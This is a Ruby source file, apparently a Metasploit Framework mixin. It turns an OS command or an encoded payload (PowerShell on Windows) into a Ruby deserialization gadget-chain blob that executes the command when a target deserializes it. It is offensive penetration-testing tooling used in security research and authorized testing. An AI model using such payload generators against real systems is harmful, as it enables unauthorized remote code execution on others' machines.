# -*- coding: binary -*-

# Ruby deserialization mixin
module Msf
  # Ruby deserialization exploit module
  module Exploit::RubyDeserialization
    include Msf::Exploit::Powershell

    # Generate a binary blob that when deserialized by Ruby will execute the specified command using the platform-specific
    # shell.
    #
    # @param [String] name The name of the payload to use.
    # @param [String] command The OS command to execute.
    #
    # @return [String] The opaque data blob.
    def generate_ruby_deserialization_for_command(command, name)
      Msf::Util::RubyDeserialization.payload(name, command)
    end

    # Generate a binary blob that when deserialized by ruby will execute the specified payload. This routine converts the
    # payload automatically based on the platform and architecture.
    #
    # @param [String] name The name of the payload to use.
    # @param [Msf::EncodedPayload] payload The payload to execute.
    #
    # @raise [RuntimeError] This raises a RuntimeError of the specified payload can not be automatically converted to an
    #   operating system command.
    #
    # @return [String] The opaque data blob.
    def generate_ruby_deserialization_for_payload(payload, name)
      command = nil

      if payload.platform.platforms == [Msf::Module::Platform::Windows]
        if [ Rex::Arch::ARCH_X86, Rex::Arch::ARCH_X64 ].include? payload.arch.first
          command = cmd_psh_payload(payload.encoded, payload.arch.first, { remove_comspec: true })
        elsif payload.arch.first == Rex::Arch::ARCH_CMD
          command = payload.encoded
        end
      elsif payload.arch.first == Rex::Arch::ARCH_CMD
        command = payload.encoded
      end

      if command.nil?
        raise 'Could not generate the payload for the platform/architecture combination'
      end

      generate_ruby_deserialization_for_command(command, name)
    end

    def self.gadget_chains
      Msf::Util::RubyDeserialization.payload_names
    end
  end
end
